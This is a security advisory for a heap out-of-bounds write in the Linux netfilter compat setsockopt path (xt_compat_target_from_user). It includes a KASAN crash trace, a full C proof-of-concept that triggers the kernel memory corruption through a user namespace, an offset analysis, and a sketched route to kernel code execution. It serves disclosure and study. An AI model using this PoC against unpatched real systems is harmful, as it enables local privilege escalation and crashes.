Linux: Heap Out-Of-Bounds Write in xt_compat_target_from_user

Summary

A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c.

Severity

High

The compat IPT_SO_SET_REPLACE/IP6T_SO_SET_REPLACE setsockopt implementation in the netfilter subsystem in the Linux kernel allows local users to gain privileges or cause a denial of service (heap memory corruption) via user namespace. This vulnerability is very similar to CVE-2016-3134 (CVSSv3 8.4 High) and CVE-2016-4997 (CVSSv3 7.8 High).

Proof Of Concept

Compile the code below using gcc -m32 -o poc poc.c and run it. The following panic has been observed on Linux 5.4.73 with KASAN:

[ 1240.038789] ==================================================================
[ 1240.038802] BUG: KASAN: slab-out-of-bounds in xt_compat_target_from_user+0x164/0x2a0 [x_tables]
[ 1240.038806] Write of size 4 at addr ffff88820e31be00 by task poc/317268
[ 1240.038813] CPU: 5 PID: 317268 Comm: poc Tainted: G           OE     5.4.73 #1
[ 1240.038815] Hardware name: Dell Inc. XPS 15 7590/0CF6RR, BIOS 1.7.0 05/11/2020
[ 1240.038816] Call Trace:
[ 1240.038821]  dump_stack+0x96/0xca
[ 1240.038826]  print_address_description.constprop.0+0x20/0x210
[ 1240.038833]  ? xt_compat_target_from_user+0x164/0x2a0 [x_tables]
[ 1240.038836]  __kasan_report.cold+0x1b/0x41
[ 1240.038839]  ? module_put.part.0+0x61/0x190
[ 1240.038846]  ? xt_compat_target_from_user+0x164/0x2a0 [x_tables]
[ 1240.038849]  kasan_report+0x14/0x20
[ 1240.038852]  check_memory_region+0x129/0x1b0
[ 1240.038856]  memset+0x24/0x40
[ 1240.038863]  xt_compat_target_from_user+0x164/0x2a0 [x_tables]
[ 1240.038871]  ? xt_compat_match_from_user+0x2a0/0x2a0 [x_tables]
[ 1240.038874]  ? __kmalloc_node+0x127/0x380
[ 1240.038879]  translate_compat_table+0x8a6/0xb30 [ip6_tables]
[ 1240.038885]  ? ip6t_register_table+0x200/0x200 [ip6_tables]
[ 1240.038888]  ? kasan_unpoison_shadow+0x38/0x50
[ 1240.038892]  ? __kasan_kmalloc.constprop.0+0xcf/0xe0
[ 1240.038895]  ? kasan_kmalloc+0x9/0x10
[ 1240.038898]  ? __kmalloc_node+0x127/0x380
[ 1240.038902]  ? __kasan_check_write+0x14/0x20
[ 1240.038906]  compat_do_replace.isra.0+0x197/0x290 [ip6_tables]
[ 1240.038910]  ? translate_compat_table+0xb30/0xb30 [ip6_tables]
[ 1240.038914]  ? apparmor_task_free+0xa0/0xa0
[ 1240.038917]  ? memcg_kmem_put_cache+0x1b/0x90
[ 1240.038922]  ? ns_capable_common+0x5f/0x80
[ 1240.038926]  compat_do_ip6t_set_ctl+0x9d/0xc0 [ip6_tables]
[ 1240.038930]  compat_nf_setsockopt+0x5a/0xa0
[ 1240.038934]  compat_ipv6_setsockopt+0xb5/0x110
[ 1240.038938]  inet_csk_compat_setsockopt+0x61/0xb0
[ 1240.038941]  compat_tcp_setsockopt+0x1c/0x30
[ 1240.038945]  compat_sock_common_setsockopt+0x7e/0x90
[ 1240.038949]  __compat_sys_setsockopt+0xf9/0x1f0
[ 1240.038952]  ? __x32_compat_sys_recvmmsg_time32+0x80/0x80
[ 1240.038955]  ? check_stack_object+0x2d/0xb0
[ 1240.038958]  ? __kasan_check_write+0x14/0x20
[ 1240.038962]  __do_compat_sys_socketcall+0x3ff/0x4e0
[ 1240.038965]  ? __x32_compat_sys_setsockopt+0x80/0x80
[ 1240.038969]  ? ksys_unshare+0x3f4/0x550
[ 1240.038972]  ? walk_process_tree+0x1a0/0x1a0
[ 1240.038974]  ? __kasan_check_write+0x14/0x20
[ 1240.038977]  ? up_read+0x1a/0x90
[ 1240.038981]  ? do_user_addr_fault+0x3fa/0x580
[ 1240.038983]  ? __kasan_check_write+0x14/0x20
[ 1240.038987]  __ia32_compat_sys_socketcall+0x31/0x40
[ 1240.038992]  do_fast_syscall_32+0x125/0x38c
[ 1240.038995]  entry_SYSENTER_compat+0x7f/0x91
[ 1240.038998] RIP: 0023:0xf7fa5b49
[ 1240.039002] Code: c4 8b 04 24 c3 8b 14 24 c3 8b 1c 24 c3 8b 34 24 c3 8b 3c 24 c3 90 90 90 90 90 90 90 90 90 90 90 90 51 52 55 89 e5 0f 34 cd 80 <5d> 5a 59 c3 90 90 90 90 8d b4 26 00 00 00 00 8d b4 26 00 00 00 00
[ 1240.039004] RSP: 002b:00000000ff936780 EFLAGS: 00000282 ORIG_RAX: 0000000000000066
[ 1240.039007] RAX: ffffffffffffffda RBX: 000000000000000e RCX: 00000000ff936798
[ 1240.039009] RDX: 00000000ff9367fc RSI: 00000000f7f64000 RDI: 00000000ff936a0c
[ 1240.039011] RBP: 00000000ff936a28 R08: 0000000000000000 R09: 0000000000000000
[ 1240.039012] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000000
[ 1240.039014] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[ 1240.039019] Allocated by task 317268:
[ 1240.039023]  save_stack+0x23/0x90
[ 1240.039026]  __kasan_kmalloc.constprop.0+0xcf/0xe0
[ 1240.039029]  kasan_kmalloc+0x9/0x10
[ 1240.039031]  __kmalloc_node+0x127/0x380
[ 1240.039034]  kvmalloc_node+0x7b/0x90
[ 1240.039040]  xt_alloc_table_info+0x2f/0x60 [x_tables]
[ 1240.039044]  translate_compat_table+0x6ac/0xb30 [ip6_tables]
[ 1240.039048]  compat_do_replace.isra.0+0x197/0x290 [ip6_tables]
[ 1240.039052]  compat_do_ip6t_set_ctl+0x9d/0xc0 [ip6_tables]
[ 1240.039054]  compat_nf_setsockopt+0x5a/0xa0
[ 1240.039057]  compat_ipv6_setsockopt+0xb5/0x110
[ 1240.039059]  inet_csk_compat_setsockopt+0x61/0xb0
[ 1240.039061]  compat_tcp_setsockopt+0x1c/0x30
[ 1240.039064]  compat_sock_common_setsockopt+0x7e/0x90
[ 1240.039067]  __compat_sys_setsockopt+0xf9/0x1f0
[ 1240.039069]  __do_compat_sys_socketcall+0x3ff/0x4e0
[ 1240.039072]  __ia32_compat_sys_socketcall+0x31/0x40
[ 1240.039075]  do_fast_syscall_32+0x125/0x38c
[ 1240.039077]  entry_SYSENTER_compat+0x7f/0x91
[ 1240.039081] Freed by task 1817:
[ 1240.039085]  save_stack+0x23/0x90
[ 1240.039087]  __kasan_slab_free+0x137/0x180
[ 1240.039089]  kasan_slab_free+0xe/0x10
[ 1240.039092]  kfree+0x98/0x270
[ 1240.039094]  skb_free_head+0x43/0x50
[ 1240.039096]  skb_release_data+0x219/0x2c0
[ 1240.039099]  skb_release_all+0x33/0x40
[ 1240.039101]  consume_skb+0x54/0x100
[ 1240.039104]  unix_stream_read_generic+0xe42/0xf30
[ 1240.039107]  unix_stream_recvmsg+0xa2/0xd0
[ 1240.039108]  sock_recvmsg+0xad/0xb0
[ 1240.039110]  ____sys_recvmsg+0x166/0x290
[ 1240.039112]  ___sys_recvmsg+0xd3/0x140
[ 1240.039114]  __sys_recvmsg+0xc8/0x150
[ 1240.039117]  __x64_sys_recvmsg+0x48/0x50
[ 1240.039119]  do_syscall_64+0x72/0x1e0
[ 1240.039122]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 1240.039126] The buggy address belongs to the object at ffff88820e31bc00
                which belongs to the cache kmalloc-512(1335:user@1000.service) of size 512
[ 1240.039130] The buggy address is located 0 bytes to the right of
                512-byte region [ffff88820e31bc00, ffff88820e31be00)
[ 1240.039131] The buggy address belongs to the page:
[ 1240.039136] page:ffffea000838c600 refcount:1 mapcount:0 mapping:ffff88820ee93800 index:0xffff88820e318c00 compound_mapcount: 0
[ 1240.039138] flags: 0x17ffffc0010200(slab|head)
[ 1240.039143] raw: 0017ffffc0010200 ffffea00083aa800 0000000500000005 ffff88820ee93800
[ 1240.039147] raw: ffff88820e318c00 000000008020001c 00000001ffffffff 0000000000000000
[ 1240.039148] page dumped because: kasan: bad access detected
[ 1240.039150] Memory state around the buggy address:
[ 1240.039154]  ffff88820e31bd00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1240.039157]  ffff88820e31bd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 1240.039161] >ffff88820e31be00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 1240.039163]                    ^
[ 1240.039166]  ffff88820e31be80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 1240.039170]  ffff88820e31bf00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 1240.039172] ==================================================================
[ 1240.039174] Disabling lock debugging due to kernel taint
[ 1240.039212] x_tables: ip6_tables: icmp6.0 match: invalid size 8 (kernel) != (user) 212

poc.c

#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <net/if.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <linux/netfilter_ipv6/ip6_tables.h>
int main(int argc, char *argv[]) {
  int s;
  if (unshare(CLONE_NEWUSER) != 0) err(1, "unshare(CLONE_NEWUSER)");
  if (unshare(CLONE_NEWNET) != 0) err(1, "unshare(CLONE_NEWNET)");
  if ((s = socket(AF_INET6, SOCK_STREAM, 0)) < 0) err(1, "socket");
  struct {
    struct ip6t_replace replace;
    struct ip6t_entry entry;
    struct xt_entry_match match;
    char pad[0xD0];
    struct xt_entry_target target;
  } data = {0};
  data.replace.num_counters = 1;
  data.replace.num_entries = 1;
  data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
                       sizeof(data.pad) + sizeof(data.target));
  data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
                            sizeof(data.pad) + sizeof(data.target));
  data.entry.target_offset =
      (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad));
  data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad));
  strcpy(data.match.u.user.name, "icmp6");
  data.match.u.user.revision = 0;
  data.target.u.user.target_size = sizeof(data.target);
  strcpy(data.target.u.user.name, "NFQUEUE");
  data.target.u.user.revision = 1;
  // Trigger Out-Of-Bounds write in kmalloc-512 (offset 0x200-0x204 overwritten
  // with zeros).
  if (setsockopt(s, SOL_IPV6, IP6T_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
    if (errno == ENOPROTOOPT)
      err(1, "Error: ip6_tables module is not loaded");
  }
  close(s);
  return 0;
}

Analysis

Vulnerability

The vulnerability was introduced in commit 9fa492cdc160cd27ce1046cb36f47d3b2b1efa21.

When IPT_SO_SET_REPLACE or IP6T_SO_SET_REPLACE is called in compat mode, kernel structures need to be converted from 32bit to 64bit. Unfortunately, the allocation size for the conversion is not properly calculated, leading to a few bytes of zero written out-of-bounds in xt_compat_target_from_user(). By pushing the structure size to the boundary, adjacent objects on the slab can be corrupted.

Hereby, we demonstrate the IPv6 path that results in 4 bytes being written at offset 0x200 of a 512-bytes allocation:

When IP6T_SO_SET_REPLACE is called in compat mode, compat_do_replace() is invoked which copies the argument from userland to kernel and then proceeds to call translate_compat_table().
The function translate_compat_table() then checks all entries for validity and computes the new structure size which is to be allocated by newinfo = xt_alloc_table_info(size). The problem here is that target->targetsize is not taken into account, but only XT_ALIGN(target->targetsize) - COMPAT_XT_ALIGN(target->targetsize) from xt_compat_target_offset(). Spoiler: Using the data structure from the PoC above, the object is allocated in the kmalloc-512 slab.
Next, it proceeds to call compat_copy_entry_from_user() with newinfo->entries as destination, which starts at offset 0x40.
The subroutine compat_copy_entry_from_user() converts struct ip6t_entry, struct xt_entry_match and struct xt_entry_target entries:
1. For struct ip6t_entry, the destination pointer is advanced by sizeof(struct ip6t_entry)=0xa8 bytes. At this point, the destination pointer is at offset 0xe8.
2. For xt_entry_match, xt_compat_match_from_user() is called which advances the pointer by sizeof(struct xt_entry_match)=0x20, sizeof(pad)=0xd0, and an additional 4 bytes alignment for struct ip6t_icmp. At this point, the destination pointer is at offset 0x1dc.
3. Finally, for struct xt_entry_target, xt_compat_target_from_user() is called:
```
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
				unsigned int *size)
{
	const struct xt_target *target = t->u.kernel.target;
	struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
	int pad, off = xt_compat_target_offset(target);
	u_int16_t tsize = ct->u.user.target_size;
	char name[sizeof(t->u.user.name)];
	t = *dstptr;
	memcpy(t, ct, sizeof(*ct));
	if (target->compat_from_user)
		target->compat_from_user(t->data, ct->data);
	else
		memcpy(t->data, ct->data, tsize - sizeof(*ct));
	pad = XT_ALIGN(target->targetsize) - target->targetsize;
	if (pad > 0)
		memset(t->data + target->targetsize, 0, pad);
	tsize += off;
	t->u.user.target_size = tsize;
	strlcpy(name, target->name, sizeof(name));
	module_put(target->me);
	strncpy(t->u.user.name, name, sizeof(t->u.user.name));
	*size += off;
	*dstptr += tsize;
}
```
  Here, memset(t->data + target->targetsize, 0, pad); is of our interest. As mentioned before, target->targetsize is not taken into account for the allocation size - only the difference between the alignments. As such, t->data + target->targetsize may be out-of-bounds (with NFLOG target, it can even be up to 0x4C bytes out-of-bounds!). For our example, we use NFQUEUE as target as it has a simple structure:
```
struct xt_NFQ_info_v1 {
	__u16 queuenum;
	__u16 queues_total;
};
```
  With that as target, target->targetsize will be 4 bytes and pad = XT_ALIGN(target->targetsize) - target->targetsize;, which is pad = (target->targetsize + 7) & ~7 - target->targetsize, will thus be 4 bytes as well. The field data of struct xt_entry_target is at offset 0x20, and t is newinfo + 0x1dc as previously shown. As such, we can deduce the following offset for memset():
```
    memset(t->data + target->targetsize, 0, pad);
<=> memset(newinfo + 0x1dc + 0x20 + target->targetsize, 0, pad);
<=> memset(newinfo + 0x1dc + 0x20 + 4, 0, 4);
<=> memset(newinfo + 0x200, 0, 4);
```

Exploitability

This vulnerability can be exploited by partially overwriting the m_list->next pointer of the msg_msg structure and achieving a use-after-free. This is powerful enough to gain kernel code execution while bypassing KASLR, SMAP and SMEP.

Syzkaller

While the vulnerability was found by code auditing, it was also detected once by https://syzkaller.appspot.com/bug?id=a53b68e5178eec469534aca80fca1735fb3d8071, however not with a reproducible C code.

Timeline

Date reported: 2021-04-06
Date fixed: 2021-04-13
Date disclosed: 2021-07-07

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Linux: Heap Out-Of-Bounds Write in xt_compat_target_from_user

Package

Affected versions

Patched versions

Description

Linux: Heap Out-Of-Bounds Write in xt_compat_target_from_user

Summary

Severity

Proof Of Concept

poc.c

Analysis

Vulnerability

Exploitability

Syzkaller

Timeline

Severity

CVE ID

Weaknesses

Credits